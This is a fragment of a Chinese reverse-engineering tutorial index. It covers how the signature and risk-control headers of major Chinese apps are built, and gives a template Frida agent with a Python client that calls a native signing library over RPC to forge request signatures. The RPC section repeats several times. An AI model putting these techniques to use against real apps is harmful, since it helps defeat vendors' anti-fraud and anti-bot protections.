级别认证的签名。 典型生成逻辑: 收集所有请求参数（GET Query Params 和 POST Form Body Params）。 剔除 sign 字段本身。 按参数名的 ASCII 字母顺序进行排序。 将排序后的参数拼接成 key=value\u0026... 的字符串（空值参数可能不参与拼接）。 在拼接好的字符串前后或中间插入一个固定的密钥（App Secret / Salt），这个密钥通常硬编码在 SO 文件中。 对最终的字符串进行 MD5 或 HMAC-SHA256 哈希，得到签名值。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:2:2","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#api-认证签名-sign"},{"categories":null,"collections":null,"content":"案例分析 2：社交 App (类某红书模式) 💡 思路一句话: 拦截请求找加密字段 → 反编译定位加密类 → hook native 签名函数获取输入输出 → 结合 Unidbg 模拟 SO 调用实现脱机签名。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:3:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#案例分析-2社交-app-类某红书模式"},{"categories":null,"collections":null,"content":"复杂的请求头签名 (X-Sign) 现象: 认证信息不放在 URL 参数中，而是位于 HTTP 请求头，如 X-Sign, X-T (时间戳), X-B3-TraceId 等。 X-Sign 的构成: 格式: 通常是 MD5(some_string) 的形式。 some_string 的拼接方式: URL Path + Sorted Query Params + (POST Body Hash) + Token/Salt。 这意味着，不仅 URL 参数，连 POST 的内容也参与了签名计算。 有时还会包含其他请求头的值。 动态 Salt: 其签名用的密钥可能不是固定的，而是部分由服务器下发，或与时间戳、设备信息动态生成，这使得暴力破解和简单模拟请求变得非常困难。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:3:1","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#复杂的请求头签名-x-sign"},{"categories":null,"collections":null,"content":"设备信息上报 (X-DeviceInfo) 现象: 有一个专门的请求头，如 X-DeviceInfo，其内容是加密或 Base64 编码后的 JSON 字符串，里面是详细的设备指纹信息。 关联性: 服务端的风控系统会将 X-Sign 和 X-DeviceInfo 进行强关联校验。 首先验证 X-Sign 是否合法。 然后解码 X-DeviceInfo，分析设备是否可信。 最后，可能会交叉验证，例如，某个版本的 App 是否可能运行在某个特定的 Android SDK 版本上，如果不匹配，则判定为异常。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:3:2","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#设备信息上报-x-deviceinfo"},{"categories":null,"collections":null,"content":"案例分析 3：某节跳动系 (某音/TikTok) 💡 思路一句话: 面对多层加密+设备指纹+风控，优先用 mitmproxy 抓包确定协议结构 → 逐层剥离加密 → native 层用 Unidbg 模拟而非还原算法。 现象: 其 API 请求中包含多个复杂的自定义请求头，如 X-Gorgon, X-Khronos, X-Argus, X-Ladon。请求体通常是经过 Protobuf 序列化后再加密的二进制数据。 核心逻辑: 设备注册: App 首次启动时会进行设备注册 (/service/2/device_register/)，获取服务器下发的 device_id 和 install_id。这两个 ID 是后续所有业务请求的身份基础。 多重签名系统: X-Gorgon 是最核心的 API 请求签名，它将 URL、Cookie、POST Body 的哈希、设备指纹信息等多种因素混合计算而成。X-Khronos 是加密过的时间戳。这套体系确保了请求的来源、时效和完整性都可被验证。 Protobuf 序列化: 大量使用 Protobuf 进行数据交换，相比 JSON，它更高效，但也增加了逆向难度，因为分析者需要先找到或还原 .proto 文件才能理解数据结构。 Cronet 网络库: 使用 Google 的 Cronet 网络库进行网络请求，这使得常规的 OkHttp Hook 方法失效，必须深入到更底层的 cronet.so 或系统网络调用层面去进行 Hook。 逆向挑战: 虚拟机保护 (VMP): 其核心 SO 库（如 libmetasec_ml.so, libmsaoaidsec.so）使用了行业顶级的 VMP 或其自研的虚拟机保护技术。这会将原始的 ARM 指令转换成虚拟机自定义的字节码，导致 IDA 等工具无法进行静态分析。 算法快速迭代: 签名算法几乎每个版本都在变化，增加了长期维护的难度。 分析策略: 鉴于 VMP 的存在，完全还原签名算法几乎是不可能的。业界主流的策略是放弃算法还原，转向 RPC 调用。即通过 Frida 等工具找到 SO 中负责计算签名的函数（无论是导出还是非导出函数），模拟其运行环境和参数，直接调用它来获取签名结果。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:4:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#案例分析-3某节跳动系-某音tiktok"},{"categories":null,"collections":null,"content":"案例分析 4：某手 💡 思路一句话: 签名参数藏在请求头 → smali 搜索头部字段名定位签名入口 → Frida hook 签名函数拿到完整调用链 → 模拟签名。 现象: API 请求参数中包含 sig 和 __NS_sig 字段。请求体同样可能使用 Protobuf 序列化并加密。 核心逻辑: 双签名体系: sig: 一个相对传统的 API 签名，通常是对所有请求参数进行排序、拼接、加盐后进行 MD5 或 HMAC 哈希。 __NS_sig (New Signature): 这是一个更复杂的风控签名，其计算过程融入了大量的设备指纹信息，用于对抗模拟器和脚本。 动态 Salt: 在加密和签名过程中会使用到一个 client_salt，这个盐值并非固定，而是可能从 Protobuf 数据中动态获取，或者通过 JNI 调用 SO 库动态生成，这增加了模拟请求的难度。 逆向挑战: 其核心 SO 库（如 libcore.so）经过了深度混淆，虽然可能不是 VMP 级别，但静态分析依然困难重重。 同样大量使用了 Protobuf，需要投入精力去逆向其数据结构。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:5:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#案例分析-4某手"},{"categories":null,"collections":null,"content":"案例分析 5：某团 💡 思路一句话: 分析请求中的 token/sign 字段 → 通过 Xposed/Frida hook 加解密方法 → 提取 AES/RSA 密钥 → 重放请求验证。 现象: API 请求中包含大量自定义请求头，如 M-TraceId。请求体被加密，并且能看到 rohr 和 mtgsig 等新一代的风控及签名字段。 核心逻辑: 中心化风控库: 核心保护逻辑高度集中在 libmtguard.so 中，该库负责生成几乎所有的签名和风控数据。 请求压缩与加密: 请求体可能会先用 zlib 或 gzip 进行压缩，然后再通过 AES 进行加密，服务器端需要先解密再解压。 rohr \u0026 mtgsig: 这是其新一代的风控签名体系。rohr 是一个风控令牌，包含了加密的设备和环境信息；mtgsig 是 API 签名，它在计算时会依赖 rohr 的部分数据，两者强关联。 统一请求网关: 有一个统一的 API 网关，加密和签名逻辑相对集中，便于统一管理和迭代。 逆向挑战: libmtguard.so 是逆向的重中之重，其内部逻辑复杂且经过混淆。 风控维度极广，除了常规的设备指纹，还可能包括地理位置、历史行为、网络环境等，对伪造设备画像的一致性要求非常高。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:6:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#案例分析-5某团"},{"categories":null,"collections":null,"content":"案例分析 6：某里系 (某宝、某付宝) 💡 思路一句话: 面对 xsign/mini-wua 等复杂签名体系，优先尝试 RPC 远程调用（设备上直接调签名函数返回结果），避免完整逆向。 现象: API 请求中包含一个 sign 字段，并且还有一个名为 wua 的神秘参数。网络请求通过自有的 MTop 网关进行分发。 核心逻辑: 统一网关 (MTop): 某里系 App 使用自研的 MTop 作为统一无线网关。所有的 API 请求都经过这个网关，便于统一进行签名校验、安全风控和流量调度。 安全核心 (libsgmain.so): 所有的安全逻辑都高度集成在 libsgmain.so 以及一系列 libsgxxx.so (如 libsgsecuritybody.so) 的安全组件中。这是某里安全的核心技术结晶，负责签名 sign 和风控参数 wua 的生成。 sign 签名: 签名算法极其复杂。它不仅包含 API 的业务参数，还会将时间戳、App 版本、Token 以及从安全 SDK 中获取的大量设备指纹信息一同参与计算。其拼接和加密方式非常规整。 wua 风控参数: 这是一个类似于 anti_content 的黑盒风控参数。它由 libsgmain.so 采集海量的设备信息（包括硬件、系统、网络、传感器、环境检测等）后，经过高度混淆的算法加密生成。wua 的生成难度和重要性甚至高于 sign。服务端会将 sign 和 wua 进行强关联校验。 ACCS 通道: 使用自研的 ACCS (Alibaba Cloud Channel Service) 长连接通道，基于 HTTP/2，进一步封装了网络请求，使得常规抓包和分析变得更加困难。 逆向挑战: 顶级混淆: libsgmain.so 及其依赖库使用了自研的、多层次的复杂混淆技术，静态分析几乎无法下手，是业界公认的最难逆向的 SO 库之一。 动态加载与反调试: 安全组件的加载和初始化过程非常隐晦，并伴有大量的反调试和环境检测手段，给动态调试和分析设置了极高的门槛。 黑盒 RPC 调用: 与某节系类似，业界的主流策略是放弃算法还原。逆向的终极目标是在 SO 文件中找到一个类似 main 的函数入口，通过 RPC 调用的方式，传入请求参数，获取计算好的 sign 和 wua 值。定位这个入口需要极其深厚的动态调试和二进制分析功底。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:7:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#案例分析-6某里系-某宝某付宝"},{"categories":null,"collections":null,"content":"逆向分析通用策略 静态分析 (Jadx/Ghidra): 全局搜索：搜索关键词，如 sign, encrypt, 以及上述案例中的 anti_content, X-Sign, X-Gorgon, mtgsig, wua 等。 定位网络库: 现代 App 大多使用 OkHttp。搜索 okhttp3.Interceptor 的实现类，因为加密和签名的逻辑常常在自定义拦截器中统一处理。 追踪 JNI 调用: 找到 Java 层调用 Native 方法的地方，重点关注那些函数名可疑（如 getSignFromC）、参数多且包含字节数组的函数。 动态分析 (Frida): Hook 加密算法: 这是最有效的方法。Hook java.security.MessageDigest.digest 和 javax.crypto.Mac.doFinal，打印它们的输入（即被签名的明文）和调用堆栈，可以瞬间定位到生成签名的代码位置。 Hook 网络请求: Hook okhttp3.Request.Builder 的 build() 方法，或 okhttp3.OkHttpClient 的 newCall 方法，可以 dump 出所有即将发出的网络请求的完整信息（URL, Headers, Body），用于和抓包结果对比。 Hook SO 函数: 定位到核心 SO 库后，用 Frida Interceptor.attach 直接 Hook 目标导出函数，观察其输入和输出。对于非导出函数，可以通过基地址加偏移的方式进行 Hook。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:8:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#逆向分析通用策略"},{"categories":null,"collections":null,"content":"高级策略：黑盒 RPC 调用详解 在分析某节、某里等顶级厂商的加固 SO 时，会发现其核心逻辑受 VMP (虚拟机保护) 或自研虚拟机保护。这意味着原始的 ARM 指令被转换成了一套自定义的、无法被常规反汇编工具解析的字节码。在这种情况下，试图完全理解并\"白盒\"地还原签名算法，几乎是不可能的。 因此，业界的分析思路从\"算法还原\"转向\"算法利用\"，这便是黑盒 RPC (Remote Procedure Call) 调用。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:9:0","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#高级策略黑盒-rpc-调用详解"},{"categories":null,"collections":null,"content":"什么是黑盒 RPC 调用？ 核心思想是：不再关心函数内部是如何实现的，而是将其作为一个整体，一个黑盒子。我们只关心它的输入和输出。 我们将通过 Frida 等工具，在 App 的运行时环境中，强行调用这个黑盒函数，让它为我们计算出所需的结果（如 sign, wua），然后将结果返回给外部的自动化程序。 这就好比我们使用一个网站的 API，我们不需要它的源码，只需要知道它的 URL、参数和返回值格式就能使用它。在这里，SO 里的函数就是那个\"API\"。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:9:1","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#什么是黑盒-rpc-调用"},{"categories":null,"collections":null,"content":"实现黑盒 RPC 的核心步骤 第一步：定位目标函数地址 (Finding the Function Pointer) 这是最困难、最耗时的一步，需要深厚的动态调试功底。 从 JNI 入口开始: 从 Java 层调用 Native 方法的地方（JNI 函数）作为起点。 主动调用与插桩: 使用 Frida 主动调用该 JNI 函数，并使用 Stalker 等指令级跟踪工具，记录下执行轨迹。 执行流分析: 分析 Stalker 产生的巨大日志，或使用 Unicorn Engine 等模拟执行工具进行分析，理清复杂的跳转和计算逻辑，最终找到一个\"干净\"的函数入口——它接收相对原始的业务参数，返回最终的签名结果。这个函数的地址（通常是 SO 基址 + 偏移量）就是我们的目标。 第二步：分析函数原型 (Analyzing the Prototype) 确定目标函数的输入和输出。 输入参数: 在上一步找到的函数调用点下断点，观察调用前各寄存器（ARM32 下重点关注 R0-R3）和栈上的值，推断出函数的参数类型、数量和顺序。参数可能是字符串、字节数组、结构体指针等。 返回值: 在函数返回点下断点，观察 R0 寄存器的值，确定函数的返回值是什么（通常是一个指向结果字符串的指针或一个状态码）。 第三步：构建 RPC 服务端 (Frida Agent) 编写一个 Frida 脚本，将定位到的原生函数封装成一个可供远程调用的服务。 agent.js: // 1. Get SO base address const baseAddr = Module.findBaseAddress(\"libsgmain.so\"); // 2. Calculate target function absolute address // This 0x123456 is the function offset found through great effort in step one const targetFuncPtr = baseAddr.add(0x123456); // 3. Define function based on the prototype analyzed in step two // Assume function prototype is: char* func(char* input1, int input2) const nativeFunc = new NativeFunction(targetFuncPtr, \"pointer\", [ \"pointer\", \"int\", ]); // 4. Expose interface using rpc.exports rpc.exports = { // Define a remote call interface named getSign getSign: function (param1, param2) { console.log(\"RPC call received, invoking native function...\"); // Prepare parameters for native function const input1Ptr = Memory.allocUtf8String(param1); // Call native function const resultPtr = nativeFunc(input1Ptr, param2); // Read and return result return resultPtr.readUtf8String(); }, }; client.py: import frida def main(): # Connect to frida-server on device device = frida.get_usb_device() # Attach to target App process pid = device.spawn([\"com.example.app\"]) session = device.attach(pid) # Load Frida Agent script with open(\"agent.js\") as f: script_code = f.read() script = session.create_script(script_code) script.load() # Prepare parameters api_params_str = \"param1=value1\u0026param2=value2\" some_int_value = 123 # Call RPC interface like calling a local function print(\"Calling RPC function: getSign...\") result_sign = script.exports.get_sign(api_params_str, some_int_value) print(f\"Successfully got sign: {result_sign}\") # Can use the obtained sign to construct and send network requests here # ... session.detach() if __name__ == '__main__': main() 通过黑盒 RPC，我们可以绕过对 VMP 等复杂技术的直接对抗，将逆向的重点放在寻找和调用关键函数上，这在当今的高级移动安全攻防中是一种务实且高效的策略。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:9:2","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#实现黑盒-rpc-的核心步骤"},{"categories":null,"collections":null,"content":"实现黑盒 RPC 的核心步骤 第一步：定位目标函数地址 (Finding the Function Pointer) 这是最困难、最耗时的一步，需要深厚的动态调试功底。 从 JNI 入口开始: 从 Java 层调用 Native 方法的地方（JNI 函数）作为起点。 主动调用与插桩: 使用 Frida 主动调用该 JNI 函数，并使用 Stalker 等指令级跟踪工具，记录下执行轨迹。 执行流分析: 分析 Stalker 产生的巨大日志，或使用 Unicorn Engine 等模拟执行工具进行分析，理清复杂的跳转和计算逻辑，最终找到一个\"干净\"的函数入口——它接收相对原始的业务参数，返回最终的签名结果。这个函数的地址（通常是 SO 基址 + 偏移量）就是我们的目标。 第二步：分析函数原型 (Analyzing the Prototype) 确定目标函数的输入和输出。 输入参数: 在上一步找到的函数调用点下断点，观察调用前各寄存器（ARM32 下重点关注 R0-R3）和栈上的值，推断出函数的参数类型、数量和顺序。参数可能是字符串、字节数组、结构体指针等。 返回值: 在函数返回点下断点，观察 R0 寄存器的值，确定函数的返回值是什么（通常是一个指向结果字符串的指针或一个状态码）。 第三步：构建 RPC 服务端 (Frida Agent) 编写一个 Frida 脚本，将定位到的原生函数封装成一个可供远程调用的服务。 agent.js: // 1. Get SO base address const baseAddr = Module.findBaseAddress(\"libsgmain.so\"); // 2. Calculate target function absolute address // This 0x123456 is the function offset found through great effort in step one const targetFuncPtr = baseAddr.add(0x123456); // 3. Define function based on the prototype analyzed in step two // Assume function prototype is: char* func(char* input1, int input2) const nativeFunc = new NativeFunction(targetFuncPtr, \"pointer\", [ \"pointer\", \"int\", ]); // 4. Expose interface using rpc.exports rpc.exports = { // Define a remote call interface named getSign getSign: function (param1, param2) { console.log(\"RPC call received, invoking native function...\"); // Prepare parameters for native function const input1Ptr = Memory.allocUtf8String(param1); // Call native function const resultPtr = nativeFunc(input1Ptr, param2); // Read and return result return resultPtr.readUtf8String(); }, }; client.py: import frida def main(): # Connect to frida-server on device device = frida.get_usb_device() # Attach to target App process pid = device.spawn([\"com.example.app\"]) session = device.attach(pid) # Load Frida Agent script with open(\"agent.js\") as f: script_code = f.read() script = session.create_script(script_code) script.load() # Prepare parameters api_params_str = \"param1=value1¶m2=value2\" some_int_value = 123 # Call RPC interface like calling a local function print(\"Calling RPC function: getSign...\") result_sign = script.exports.get_sign(api_params_str, some_int_value) print(f\"Successfully got sign: {result_sign}\") # Can use the obtained sign to construct and send network requests here # ... session.detach() if __name__ == '__main__': main() 通过黑盒 RPC，我们可以绕过对 VMP 等复杂技术的直接对抗，将逆向的重点放在寻找和调用关键函数上，这在当今的高级移动安全攻防中是一种务实且高效的策略。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:9:2","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#第一步定位目标函数地址-finding-the-function-pointer"},{"categories":null,"collections":null,"content":"实现黑盒 RPC 的核心步骤 第一步：定位目标函数地址 (Finding the Function Pointer) 这是最困难、最耗时的一步，需要深厚的动态调试功底。 从 JNI 入口开始: 从 Java 层调用 Native 方法的地方（JNI 函数）作为起点。 主动调用与插桩: 使用 Frida 主动调用该 JNI 函数，并使用 Stalker 等指令级跟踪工具，记录下执行轨迹。 执行流分析: 分析 Stalker 产生的巨大日志，或使用 Unicorn Engine 等模拟执行工具进行分析，理清复杂的跳转和计算逻辑，最终找到一个\"干净\"的函数入口——它接收相对原始的业务参数，返回最终的签名结果。这个函数的地址（通常是 SO 基址 + 偏移量）就是我们的目标。 第二步：分析函数原型 (Analyzing the Prototype) 确定目标函数的输入和输出。 输入参数: 在上一步找到的函数调用点下断点，观察调用前各寄存器（ARM32 下重点关注 R0-R3）和栈上的值，推断出函数的参数类型、数量和顺序。参数可能是字符串、字节数组、结构体指针等。 返回值: 在函数返回点下断点，观察 R0 寄存器的值，确定函数的返回值是什么（通常是一个指向结果字符串的指针或一个状态码）。 第三步：构建 RPC 服务端 (Frida Agent) 编写一个 Frida 脚本，将定位到的原生函数封装成一个可供远程调用的服务。 agent.js: // 1. Get SO base address const baseAddr = Module.findBaseAddress(\"libsgmain.so\"); // 2. Calculate target function absolute address // This 0x123456 is the function offset found through great effort in step one const targetFuncPtr = baseAddr.add(0x123456); // 3. Define function based on the prototype analyzed in step two // Assume function prototype is: char* func(char* input1, int input2) const nativeFunc = new NativeFunction(targetFuncPtr, \"pointer\", [ \"pointer\", \"int\", ]); // 4. Expose interface using rpc.exports rpc.exports = { // Define a remote call interface named getSign getSign: function (param1, param2) { console.log(\"RPC call received, invoking native function...\"); // Prepare parameters for native function const input1Ptr = Memory.allocUtf8String(param1); // Call native function const resultPtr = nativeFunc(input1Ptr, param2); // Read and return result return resultPtr.readUtf8String(); }, }; client.py: import frida def main(): # Connect to frida-server on device device = frida.get_usb_device() # Attach to target App process pid = device.spawn([\"com.example.app\"]) session = device.attach(pid) # Load Frida Agent script with open(\"agent.js\") as f: script_code = f.read() script = session.create_script(script_code) script.load() # Prepare parameters api_params_str = \"param1=value1¶m2=value2\" some_int_value = 123 # Call RPC interface like calling a local function print(\"Calling RPC function: getSign...\") result_sign = script.exports.get_sign(api_params_str, some_int_value) print(f\"Successfully got sign: {result_sign}\") # Can use the obtained sign to construct and send network requests here # ... session.detach() if __name__ == '__main__': main() 通过黑盒 RPC，我们可以绕过对 VMP 等复杂技术的直接对抗，将逆向的重点放在寻找和调用关键函数上，这在当今的高级移动安全攻防中是一种务实且高效的策略。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:9:2","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#第二步分析函数原型-analyzing-the-prototype"},{"categories":null,"collections":null,"content":"实现黑盒 RPC 的核心步骤 第一步：定位目标函数地址 (Finding the Function Pointer) 这是最困难、最耗时的一步，需要深厚的动态调试功底。 从 JNI 入口开始: 从 Java 层调用 Native 方法的地方（JNI 函数）作为起点。 主动调用与插桩: 使用 Frida 主动调用该 JNI 函数，并使用 Stalker 等指令级跟踪工具，记录下执行轨迹。 执行流分析: 分析 Stalker 产生的巨大日志，或使用 Unicorn Engine 等模拟执行工具进行分析，理清复杂的跳转和计算逻辑，最终找到一个\"干净\"的函数入口——它接收相对原始的业务参数，返回最终的签名结果。这个函数的地址（通常是 SO 基址 + 偏移量）就是我们的目标。 第二步：分析函数原型 (Analyzing the Prototype) 确定目标函数的输入和输出。 输入参数: 在上一步找到的函数调用点下断点，观察调用前各寄存器（ARM32 下重点关注 R0-R3）和栈上的值，推断出函数的参数类型、数量和顺序。参数可能是字符串、字节数组、结构体指针等。 返回值: 在函数返回点下断点，观察 R0 寄存器的值，确定函数的返回值是什么（通常是一个指向结果字符串的指针或一个状态码）。 第三步：构建 RPC 服务端 (Frida Agent) 编写一个 Frida 脚本，将定位到的原生函数封装成一个可供远程调用的服务。 agent.js: // 1. Get SO base address const baseAddr = Module.findBaseAddress(\"libsgmain.so\"); // 2. Calculate target function absolute address // This 0x123456 is the function offset found through great effort in step one const targetFuncPtr = baseAddr.add(0x123456); // 3. Define function based on the prototype analyzed in step two // Assume function prototype is: char* func(char* input1, int input2) const nativeFunc = new NativeFunction(targetFuncPtr, \"pointer\", [ \"pointer\", \"int\", ]); // 4. Expose interface using rpc.exports rpc.exports = { // Define a remote call interface named getSign getSign: function (param1, param2) { console.log(\"RPC call received, invoking native function...\"); // Prepare parameters for native function const input1Ptr = Memory.allocUtf8String(param1); // Call native function const resultPtr = nativeFunc(input1Ptr, param2); // Read and return result return resultPtr.readUtf8String(); }, }; client.py: import frida def main(): # Connect to frida-server on device device = frida.get_usb_device() # Attach to target App process pid = device.spawn([\"com.example.app\"]) session = device.attach(pid) # Load Frida Agent script with open(\"agent.js\") as f: script_code = f.read() script = session.create_script(script_code) script.load() # Prepare parameters api_params_str = \"param1=value1¶m2=value2\" some_int_value = 123 # Call RPC interface like calling a local function print(\"Calling RPC function: getSign...\") result_sign = script.exports.get_sign(api_params_str, some_int_value) print(f\"Successfully got sign: {result_sign}\") # Can use the obtained sign to construct and send network requests here # ... session.detach() if __name__ == '__main__': main() 通过黑盒 RPC，我们可以绕过对 VMP 等复杂技术的直接对抗，将逆向的重点放在寻找和调用关键函数上，这在当今的高级移动安全攻防中是一种务实且高效的策略。 ","date":"2025-05-15","objectID":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/:9:2","tags":["RSA","案例分析","加密分析","Hook","IDA Pro","反混淆"],"title":"主流 App 加密签名机制案例","uri":"/reverse_engineering/android/03-case-studies/case_study_app_encryption/#第三步构建-rpc-服务端-frida-agent"},{"categories":null,"collections":null,"content":"HTTP 头速查表 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:0:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#http-头速查表"},{"categories":null,"collections":null,"content":"常见请求头 (Request Headers) Header 说明 示例 User-Agent 客户端信息 Mozilla/5.0 (Windows NT 10.0; Win64; x64)... Accept 可接受的内容类型 application/json, text/plain, */* Accept-Language 可接受的语言 zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding 可接受的编码 gzip, deflate, br Content-Type 请求体内容类型 application/json; charset=UTF-8 Content-Length 请求体长度 1234 Authorization 认证信息 Bearer eyJhbGciOiJIUzI1NiIs... Cookie Cookie 数据 session_id=abc123; user=admin Referer 来源页面 https://example.com/page1 Origin 请求来源 https://example.com Host 目标主机 api.example.com Connection 连接方式 keep-alive Cache-Control 缓存控制 no-cache, no-store Pragma HTTP/1.0 缓存控制 no-cache If-Modified-Since 条件请求 Wed, 21 Oct 2025 07:28:00 GMT If-None-Match ETag 条件请求 \"686897696a7c876b7e\" Range 范围请求 bytes=0-1024 X-Requested-With 标识 AJAX 请求 XMLHttpRequest X-CSRF-Token CSRF 令牌 abc123def456 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:1:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#常见请求头-request-headers"},{"categories":null,"collections":null,"content":"常见响应头 (Response Headers) Header 说明 示例 Content-Type 响应内容类型 application/json; charset=utf-8 Content-Length 响应体长度 1234 Content-Encoding 响应编码 gzip Set-Cookie 设置 Cookie session_id=abc123; Path=/; HttpOnly Cache-Control 缓存策略 max-age=3600, must-revalidate Expires 过期时间 Wed, 21 Oct 2025 07:28:00 GMT ETag 资源标识 \"686897696a7c876b7e\" Last-Modified 最后修改时间 Wed, 21 Oct 2025 07:28:00 GMT Location 重定向地址 https://example.com/new-page Server 服务器信息 nginx/1.18.0 X-Powered-By 技术栈 PHP/7.4.0 Access-Control-Allow-Origin CORS 允许来源 * 或 https://example.com Access-Control-Allow-Methods CORS 允许方法 GET, POST, PUT, DELETE Access-Control-Allow-Headers CORS 允许头 Content-Type, Authorization Access-Control-Max-Age CORS 预检缓存 3600 Strict-Transport-Security HSTS max-age=31536000; includeSubDomains X-Frame-Options 防点击劫持 DENY X-Content-Type-Options 防 MIME 嗅探 nosniff X-XSS-Protection XSS 过滤器 1; mode=block ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:2:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#常见响应头-response-headers"},{"categories":null,"collections":null,"content":"安全相关头 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:3:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#安全相关头"},{"categories":null,"collections":null,"content":"请求安全头 # CSRF 防护 X-CSRF-Token: abc123def456 X-XSRF-TOKEN: abc123def456 # 自定义签名 X-Signature: md5_hash_value X-Sign: sha256_hash_value X-Timestamp: 1702887654321 # API密钥 X-API-Key: your_api_key_here API-Key: your_api_key_here ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:3:1","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#请求安全头"},{"categories":null,"collections":null,"content":"响应安全头 # 内容安全策略 Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' # XSS 防护 X-XSS-Protection: 1; mode=block # 防点击劫持 X-Frame-Options: SAMEORIGIN # MIME 类型嗅探防护 X-Content-Type-Options: nosniff # Referer 策略 Referrer-Policy: no-referrer-when-downgrade # 权限策略 Permissions-Policy: geolocation=(), camera=() ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:3:2","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#响应安全头"},{"categories":null,"collections":null,"content":"Content-Type 常见值 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:4:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#content-type-常见值"},{"categories":null,"collections":null,"content":"请求/响应通用 Content-Type 说明 用途 application/json JSON 数据 API 请求/响应 application/x-www-form-urlencoded 表单数据 传统表单提交 multipart/form-data 文件上传 含文件的表单 text/html HTML 文档 网页 text/plain 纯文本 文本文件 text/css CSS 样式 样式表 text/javascript JavaScript JS 文件 application/javascript JavaScript JS 文件（新标准） application/xml XML 数据 XML 格式 text/xml XML 文本 XML 文本 application/octet-stream 二进制流 文件下载 image/jpeg JPEG 图片 图片 image/png PNG 图片 图片 image/gif GIF 图片 动图 image/svg+xml SVG 图片 矢量图 video/mp4 MP4 视频 视频 audio/mpeg MP3 音频 音频 